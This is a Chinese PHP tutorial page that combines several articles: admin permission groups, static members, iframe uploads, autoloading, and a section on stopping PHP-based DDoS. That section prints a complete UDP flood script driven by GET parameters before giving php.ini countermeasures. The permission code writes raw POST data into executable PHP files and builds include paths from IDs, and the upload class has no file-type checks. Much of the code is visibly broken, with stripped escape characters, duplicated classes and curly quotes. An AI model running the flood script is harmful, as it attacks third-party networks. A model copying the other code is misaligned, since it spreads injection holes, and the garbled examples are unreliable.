您的位置：首页 > 编程技术 > php  >  php后台多用户权限组思路与实现程序代码

php后台多用户权限组思路与实现程序代码

 更新时间：2016年11月25日 16:23  点击：1641
网站开发少不了有网站后台，有了后台自然要对用户有同角色来分配一下，特别是多用户系统的情况下，如我一个系统要有多个管理员，那么我这些管理要分成，编辑，友情连接，管理员等，那我们要有权限和角色分配，今天我们就来看我以前做的一个系统吧。

先介绍一下文件，

adminconfig.php 这是后台系统中所有文件权限配置。

fun.php 这是一个功能函数

left.php 网站后台根据用户登录的ID来加载相对应的功能菜单

op.php 调用adminconfig.php 默认权限文件

opsava.php  保存用户权限成一个php文件

好了我们先来看看 fun.php文件吧。

 代码如下 复制代码

<?
function findsub($keys ,$userid='abc' ) //此函数重要就是为了调用用户的权限信息
{
 include('user/'.$userid.'.php'); 
 foreach($bb as $key=>$submenu)
 {    
  foreach($submenu  as $subkey=>$menuitem)
  {
   if( $subkey == $keys )
   {
    return 1;    
   }
  }  
 }
}

//下面为生成用户的php权限文件
//写入
function cache_write($name, $var, $values) {
 $cachefile = 'op/user/'.$name.'.php';
 $cachetext = "<?phprn".'$'.$var.'='.arrayeval($values)."rn?>";
 if(!swritefile($cachefile, $cachetext))
 {
  exit("File: $cachefile write error.");
 }
}

//数组转换成字串
function arrayeval($array, $level = 0) {
$space = '';
 for($i = 0; $i <= $level; $i++) {
  $space .= "t";
 }
$evaluate = "Arrayn$space(n";
$comma = $space;
 foreach($array as $key => $val) {
  $key = is_string($key) ? '''.addcslashes($key, ''\').''' : $key;
  $val = !is_array($val) && (!preg_match("/^-?d+$/", $val) || strlen($val) > 12) ? '''.addcslashes($val, ''\').''' : $val;
  if(is_array($val)) {
   $evaluate .= "$comma$key => ".arrayeval($val, $level + 1);
  } else {
   $evaluate .= "$comma$key => $val";
  }
   $comma = ",n$space";
 }
  $evaluate .= "n$space)";
  return $evaluate;
}

//写入文件
function swritefile($filename, $writetext, $openmod='w') {
 if(@$fp = fopen($filename, $openmod)) {
  flock($fp, 2);
  fwrite($fp, $writetext);
  fclose($fp);
  return true;
 } else {
  exit("File: $filename write error.");
  return false;
 }
}

?>

adminconfig.php 后台权限配置文件,以一个数组形式保存

 代码如下 复制代码

<?
$menus = array(
 
  'news' => array(
   'caption'=>'资讯管理',
   'icon'=>'admin/icon_15.gif',
   'sub' => array(
    'newsaddtype' => array('caption' => '分类增加', 'url' => 'news/addtype.php'),
    'newstypemange' => array('caption' => '分类管理', 'url' => 'news/typemange.php'),    
    'newsnewsend' => array('caption' => '发布资讯', 'url' => 'news/newsend.php'),
    'newsnewmange' => array('caption' => '资讯管理', 'url' => 'news/newmange.php'),
    'newscomments' => array('caption' => '评论管理', 'url' => 'news/comments.php'),
    
   ),
  ),
  
  'ask' => array(
   'caption'=>'问卷调查',
   'icon'=>'admin/icon_15.gif',
   'sub' => array(
    'voteadmin_subject_add' => array('caption' => '添加投票主题', 'url' => 'vote/admin_subject_add.php'),
    'voteadmin_subject' => array('caption' => '管理投票主题', 'url' => 'vote/admin_subject.php'),
    'voteadmin_title_add' => array('caption' => '添加投票问题', 'url' => 'vote/admin_title_add.php'),
    'voteadmin_title' => array('caption' => '管理投票问题', 'url' => 'vote/admin_title.php'),
    'voteadmin_question_add' => array('caption' => '添加投票答案', 'url' => 'vote/admin_question_add.php'),
    'voteadmin_question' => array('caption' => '管理投票答案', 'url' => 'vote/admin_question.php'),
    'voteadmin_system' => array('caption' => '投票初始配置', 'url' => 'vote/admin_system.php')
   ),
  ),
  'ads' => array(
   'caption'=>'广告管理',
   'icon'=>'admin/icon_15.gif',
   'sub' => array(
    'ada' => array('caption' => '增加广告', 'url' => 'ada.php'),
    'adm' => array('caption' => '广告管理', 'url' => 'adm.php'),   
    'flashadd' => array('caption' => '焦点图广告增加', 'url' => 'flashadd.php'),
    'flashad' => array('caption' => '焦点图广告管理', 'url' => 'flashad.php')
   ),
  ), 
  
  
  'mange' => array(
   'caption'=>'系统管理员',
   'icon'=>'admin/icon_15.gif',
   'sub' => array(
    'adminuser' => array('caption' => '管理员添加', 'url' => 'adminuser.php'),
    'modpass' => array('caption' => '密码修改', 'url' => 'modpass.php')    
   ),
  ),
 );
?>

left.php文件很简单就是根据用户登录后ID读出权限

 代码如下 复制代码

<?
$userid = $_SESSION['adminid'];
include("op/admincofig.php");
include("op/user/".$userid.".php");

foreach($bb as $key=>$submenu)
{    
 echo "<tr><td  bgcolor="#D879A7" style="line-height:22px;text-align:center;color:#ffffff;"> nr <font color="#EA6A8D" face="Webdings"></font><b>".$menus[$key]['caption']."</b><br /></td></tr> nr <tr ><td bgcolor="F5E8F1">";
 foreach($submenu  as $subkey=>$menuitem)
 {
  $tmparr = explode("|",$menuitem);
  echo "<font color="#EA6A8D" face="Webdings">4</font><a href='".$tmparr[1]."' target="mainframe">".$tmparr[0]."</a><br> nr";
 }
 echo "</td></tr> nr "; 
}

如图

op.php这个文件就是要调用我们的adminconfig.php文件，然后利用fun.php文件中函数把提供过来的数据保存成数组如图

点击保存我们调用了opsava.php 文件，代码如下

 代码如下 复制代码

<?
include("op/fun.php");
if( $_POST )
{
 $sarray =  $_POST ;
 cache_write($userid,'bb',$sarray);//写入缓存
 echo "<script>alert('编辑保存成功！');location='op.php?userid=".$userid."';</script>";

}
?>

保存成功后文件内容如

 代码如下 复制代码

<?php
$bb=Array
 (
 'member' => Array
  (
  'user_search' => '会员升级管理|user_search.php'
  ),
 'membercy' => Array
  (
  'cyuser_search' => '会员升级管理|cyuser_search.php',
  'cyuser_search5' => '交友会员|cyuser_search.php?grade=5'
  ),
 'userid' => 7,
 'button' => '保存编辑'
 )
?>

这样的话我们的left只要加载 7.php文件就只会显示这里在的文件，这样一个基本的后台权限就完成了。

原站原创教程转载注明来源:http://www.111cn.net/phper/php.html

static 是定义一个静态对象或静态变量，关于static 定义的变量或类方法有什么特性我们看完本文章的相关实例后就见分晓了。

1. 创建对象$object = new Class()，然后使用”->”调用：$object->attribute/function，前提是该变量/方法可访问。
2. 直接调用类方法/变量：class::attribute/function，无论是静态/非静态都可以。但是有前提条件：
A. 如果是变量，需要该变量可访问。
B. 如果是方法，除了该方法可访问外，还需要满足：
b1) 如果是静态方法，没有特殊条件；
b2) 如果是非静态方法，需要改方法中没有使用$this，即没有调用非静态的变量/方法，当然，调用静态的变量/方法没有问题。

然后我们再看一下使用$object->… 和使用class::… 都有什么区别：
1. 使用$object->… ，需要执行构造函数创建对象；
2. 使用class::… 调用静态方法/变量，不需要执行构造函数创建对象；
3. 使用class::… 调用非静态方法/变量，也不需要执行构造函数创建对象。

然后奇怪的地方就出来了，既然2和3都一样，那静态方法/变量存在还有什么意义呢？
静态 static
声明类成员或方法为 static ，就可以不实例化类而直接访问，不能通过一个对象来访问其中的静态成员（静态方法除外）。静态成员属于类，不属于任何对象实例，但类的对象实例都能共享。

例子：

 代码如下 复制代码

<?php
Class Person{
    // 定义静态成员属性
    public static $country = "中国";
    // 定义静态成员方法
    public static function myCountry() {
        // 内部访问静态成员属性
        echo "我是".self::$country."人<br />";
    }
}
class Student extends Person {
    function study() {
        echo "我是". parent::$country."人<br />";
    }
}
// 输出成员属性值
echo Person::$country."<br />";  // 输出：中国
$p1 = new Person();
//echo $p1->country;   // 错误写法
// 访问静态成员方法
Person::myCountry();   // 输出：我是中国人
// 静态方法也可通过对象访问：
$p1->myCountry();

// 子类中输出成员属性值
echo Student::$country."<br />"; // 输出：中国
$t1 = new Student();
$t1->study();    // 输出：我是中国人
?>

运行该例子，输出：

中国
我是中国人
我是中国人
中国
我是中国人
小结
在类内部访问静态成员属性或者方法，使用 self::（注意不是 $slef），如：

 代码如下 复制代码
slef:: $country
slef:: myCountry()

在子类访问父类静态成员属性或方法，使用 parent::（注意不是 $parent），如：

 代码如下 复制代码
parent:: $country
parent:: myCountry()

外部访问静态成员属性和方法为 类名/子类名:: ，如：

 代码如下 复制代码
Person::$country
Person::myCountry()
Student::$country

但静态方法也可以通过普通对象的方式访问。


例子 声明静态变量

 代码如下 复制代码

<?PHP
   function foo(){
   static $int = 0;// correct
   static $int = 1+2;   // wrong (as it is an expression)
   static $int = sqrt(121); // wrong (as it is an expression too)
  
   $int++;
   echo $int;
   }
   ?>

例子 使用静态变量的例子

 代码如下 复制代码
<?PHP
   function Test()
   {
   static $w3sky = 0;
   echo $w3sky;
   $w3sky++;
   }
   ?>

现在，每次调用 Test() 函数都会输出 $w3sky 的值并加一。


静态变量也提供了一种处理递归函数的方法。递归函数是一种调用自己的函数。写递归函数时要小心，因为可能会无穷递归下去。必须确保有充分的方法来中止递归。一下这个简单的函数递归计数到 10，使用静态变量 $count 来判断何时停止：

例子 静态变量与递归函数

 代码如下 复制代码

<?PHP
   function Test()
   {
   static $count = 0;
  
   $count++;
   echo $count;
   if ($count < 10) {
   Test();
   }
   $count--;
   }
   ?>

注: 静态变量可以按照上面的例子声明。如果在声明中用表达式的结果对其赋值会导致解析错误。

更多关于php静态变量用法

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,以前我在apache下有碰到这样的问题，今天我们讲讲述一下关于在iis防止php ddos占完网络带宽与服务器资源的处理办法。

php ddos的常见代码如下:

 代码如下 复制代码

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];

$time = time();
print "Flooded: $ip on port $rand

";
$max_time = $time+$exec_time;


for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>

表现特征:

一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.

解决办法:

在c:windowsphp.ini里设其值为Off

 代码如下 复制代码

allow_url_fopen = Off

并且:

 代码如下 复制代码

;extension=php_sockets.dll

前面的;号一定要有,意思就是限制用sockets.dll

然后:

 代码如下 复制代码

; ignore_user_abort = On

前面的;号要去掉

然后重启IIS

如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.

注：如果你的服务器不要运行机制php可以关闭，如果需要的话可以把php_sockets.dll 给禁止，还有一种办法就是把udp端口全部封了，只要80等一些重要的端口开放就可以了。

本文章来介绍一下关于文件上传的方法，一个利用了php iframe来实现上传这个也是无刷新的哦，有需要的同学可以参考一下下哈。

首先ajax不能上传文件，这误导了我有段时间，今晚睡不着就照着说明做了个无刷新上传文件

其实原理很简单

 代码如下 复制代码

<form enctype="multipart/form-data" method="POST" target="upload" action="http://localhost/class.upload.php" >
          <input type="file" name="uploadfile" />
          <input type="submit" />
</form>
<iframe name="upload" style="display:none"></iframe>


和一般的<form>标签相比多了一个target属性罢了，用于指定标签页在哪里打开以及提交数据。

如果没有设置该属性，就会像平常一样在本页重定向打开action中的url。

而如果设置为iframe的name值，即"upload"的话,就会在该iframe内打开，因为CSS设置为隐藏，因而不会有任何动静。若将display:none去掉,还会看到服务器的返回信息。

另外贴一下自己组织的类。

 代码如下 复制代码

class upload
{
   public $_file;

   public function __construct( $name =null)
   {
       if(is_null($name) || !isset($_FILES[$name]))
            $name = key($_FILES);
           
       if(!isset($_FILES[$name]))
           throw new Exception("并没有文件上传");
          
       $this->_file  = $_FILES[$name];
      
       if(!is_uploaded_file($this->_file['tmp_name']))
            throw new Exception("异常情况");
       if($this->_file['error'] !== 0)
            throw new Exception("错误代码:".$this->_file['error']);    
   }
   public function moveTo( $new_dir)
   {
       $real_dir = $this->checkDir($new_dir);
       return move_uploaded_file($this->_file['tmp_name'], $real_dir.'/'.$this->_file['name']);
   }
   private function checkDir($dir)
   {
       $real_dir = realpath($dir);
       if($real_dir === false)
           throw new Exception("给定目录{$dir}不存在");
       if(!is_writable($real_dir))
           throw new Exception("给定目录{$dir}不可写");
       return $real_dir;
   }

}

调用示例：

 代码如下 复制代码

$inputName =  'uploadfile';
 // 即<input type=“file" name="uploadfile" /> 中的name值，不填也行
$upload = new upload($inputName);
$new_dir = "/www";  // 将文件移动到的路径
$upload->moveTo($new_dir);
本文章详细的以实例来介绍了关于php _autoload自动加载类的用法以及如何使用_autoload来减少程序上的include和require的调用哦。

 在使用PHP的OO模式开发系统时，通常大家习惯上将每个类的实现都存放在一个单独的文件里，这样会很容易实现对类进行复用，同时将来维护时也很便利。这也是OO设计的基本思想之一。在PHP5之前，如果需要使用一个类，只需要直接使用include/require将其包含进来即可
test.class.php

 代码如下 复制代码

<?php
class abc{
function __construct()
{
echo 'www.111cn.net;
}
}
?>

load.php

 代码如下 复制代码
<?php
class LOAD
{
static function loadClass($class_name)
{
$filename = $class_name.".class.php";
if (is_file($filename)) return include_once $filename;
}
}
/**
* 设置对象的自动载入
* spl_autoload_register — Register given function as __autoload() implementation
*/
spl_autoload_register(array('LOAD', 'loadClass'));
$a = new Test();//实现自动加载，很多框架就用这种方法自动加载类
?>

__autoload()
在实际项目中，不可能把所有的类都写在一个 PHP 文件中，当在一个 PHP 文件中需要调用另一个文件中声明的类时，就需要通过 include 把这个文件引入。不过有的时候，在文件众多的项目中，要一一将所需类的文件都 include 进来，一个很大的烦恼是不得不在每个类文件开头写一个长长的包含文件的列表。我们能不能在用到什么类的时候，再把这个类所在的 php 文件导入呢？

为此，PHP 提供了 __autoload() 方法，它会在试图使用尚未被定义的类时自动调用。通过调用此函数，脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。

__autoload() 方法接收的一个参数，就是欲加载的类的类名，所以这时候需要类名与文件名对应，如 Person.php ，对应的类名就是 Pserson 。


下面看个完整的实例

 代码如下 复制代码
class ClassA{
public function __construct(){
echo “ClassA load success!”;
}
}
//定义一个类ClassA，文件名为ClassA.php
class ClassA{
public function __construct(){
echo “ClassA load success!”;
}
}
class ClassB extends ClassA {
public function __construct(){
//parent::__construct();
echo “ClassB load success!”;
}
}
//定义一个类ClassB，文件名为ClassB.php，ClassB继承ClassA
class ClassB extends ClassA {
public function __construct(){
//parent::__construct();
echo “ClassB load success!”;
}
}

定义两个测试用的类之后，我们来编写一个含有__autoload()方法的PHP运行程序文件如下：

 代码如下 复制代码

function __autoload($classname){
$classpath=”./”.$classname.'.php';
if(file_exists($classpath)){
require_once($classpath);
}
else{
echo ‘class file'.$classpath.'not found!';
}
}

$newobj = new ClassA();
$newobj = new ClassB();
[!--infotagslink--]

相关文章

  • php 获取用户IP与IE信息程序

    php 获取用户IP与IE信息程序 function onlineip() { global $_SERVER; if(getenv('HTTP_CLIENT_IP')) { $onlineip = getenv('HTTP_CLIENT_IP');...2016-11-25

  • 不打开网页直接查看网站的源代码

    　　有一种方法，可以不打开网站而直接查看到这个网站的源代码.. 　　这样可以有效地防止误入恶意网站... 　　在浏览器地址栏输入： 　　view-source:http://...2016-09-20

  • php 调用goolge地图代码

    <?php require('path.inc.php'); header('content-Type: text/html; charset=utf-8'); $borough_id = intval($_GET['id']); if(!$borough_id){ echo ' ...2016-11-25

  • JS基于Mootools实现的个性菜单效果代码

    本文实例讲述了JS基于Mootools实现的个性菜单效果代码。分享给大家供大家参考，具体如下：这里演示基于Mootools做的带动画的垂直型菜单，是一个初学者写的，用来学习Mootools的使用有帮助，下载时请注意要将外部引用的mootools...2015-10-23

  • JS+CSS实现分类动态选择及移动功能效果代码

    本文实例讲述了JS+CSS实现分类动态选择及移动功能效果代码。分享给大家供大家参考，具体如下：这是一个类似选项卡功能的选择插件，与普通的TAb区别是加入了动画效果，多用于商品类网站，用作商品分类功能，不过其它网站也可以用，...2015-10-21

  • JS实现自定义简单网页软键盘效果代码

    本文实例讲述了JS实现自定义简单网页软键盘效果。分享给大家供大家参考，具体如下：这是一款自定义的简单点的网页软键盘，没有使用任何控件，仅是为了练习JavaScript编写水平，安全性方面没有过多考虑，有顾虑的可以不用，目的是学...2015-11-08

  • php 取除连续空格与换行代码

    php 取除连续空格与换行代码，这些我们都用到str_replace与正则函数 第一种： $content=str_replace("n","",$content); echo $content; 第二种： $content=preg_replac...2016-11-25

  • php简单用户登陆程序代码

    php简单用户登陆程序代码 这些教程很对初学者来讲是很有用的哦，这款就下面这一点点代码了哦。 <center> <p>&nbsp;</p> <p>&nbsp;</p> <form name="form1...2016-11-25

  • PHP实现清除wordpress里恶意代码

    公司一些wordpress网站由于下载的插件存在恶意代码，导致整个服务器所有网站PHP文件都存在恶意代码，就写了个简单的脚本清除。恶意代码示例...2015-10-23

  • js识别uc浏览器的代码

    其实挺简单的就是if(navigator.userAgent.indexOf('UCBrowser') > -1) {alert("uc浏览器");}else｛//不是uc浏览器执行的操作｝如果想测试某个浏览器的特征可以通过如下方法获取JS获取浏览器信息 浏览器代码名称：navigator...2015-11-08

  • JS实现双击屏幕滚动效果代码

    本文实例讲述了JS实现双击屏幕滚动效果代码。分享给大家供大家参考，具体如下：这里演示双击滚屏效果代码的实现方法，不知道有觉得有用处的没，现在网上还有很多还在用这个特效的呢，代码分享给大家吧。运行效果截图如下：在线演...2015-10-30

  • JS日期加减,日期运算代码

    一、日期减去天数等于第二个日期function cc(dd,dadd){//可以加上错误处理var a = new Date(dd)a = a.valueOf()a = a - dadd * 24 * 60 * 60 * 1000a = new Date(a)alert(a.getFullYear() + "年" + (a.getMonth() +...2015-11-08

  • PHP开发微信支付的代码分享

    微信支付，即便交了保证金，你还是处理测试阶段，不能正式发布。必须到你通过程序测试提交订单、发货通知等数据到微信的系统中，才能申请发布。然后，因为在微信中是通过JS方式调用API，必须在微信后台设置支付授权目录，而且要到...2014-05-31

  • PHP常用的小程序代码段

    本文实例讲述了PHP常用的小程序代码段。分享给大家供大家参考，具体如下：1.计算两个时间的相差几天$startdate=strtotime("2009-12-09");$enddate=strtotime("2009-12-05");上面的php时间日期函数strtotime已经把字符串...2015-11-24

  • php根据用户语言跳转相应网页

    当来访者浏览器语言是中文就进入中文版面，国外的用户默认浏览器不是中文的就跳转英文页面。 <&#63;php $lan = substr(&#8194;$HTTP_ACCEPT_LANGUAGE,0,5); if ($lan == "zh-cn") print("<meta http-equiv='refresh' c...2015-11-08

  • php怎么用拼音 简单的php中文转拼音的实现代码

    小编分享了一段简单的php中文转拼音的实现代码，代码简单易懂，适合初学php的同学参考学习。 代码如下 复制代码 <?phpfunction Pinyin($_String...2017-07-06

  • php有效防止同一用户多次登录

    【问题描述】：同一用户在同一时间多次登录如果不能检测出来，是危险的。因为，你无法知道是否有其他用户在登录你的账户。如何禁止同一用户多次登录呢？ 【解决方案】 (1) 每次登录，身份认证成功后，重新产生一个session_id。 s...2015-11-24

  • php导出csv格式数据并将数字转换成文本的思路以及代码分享

    php导出csv格式数据实现：先定义一个字符串 存储内容，例如 $exportdata = '规则111,规则222,审222,规222,服2222,规则1,规则2,规则3,匹配字符,设置时间,有效期'."/n";然后对需要保存csv的数组进行foreach循环，例如复制代...2014-06-07

  • ecshop商品无限级分类代码

    ecshop商品无限级分类代码 function cat_options($spec_cat_id, $arr) { static $cat_options = array(); if (isset($cat_options[$spec_cat_id]))...2016-11-25

  • 几种延迟加载JS代码的方法加快网页的访问速度

    本文介绍了如何延迟javascript代码的加载，加快网页的访问速度。 当一个网站有很多js代码要加载，js代码放置的位置在一定程度上将会影像网页的加载速度，为了让我们的网页加载速度更快，本文总结了一下几个注意点...2013-10-13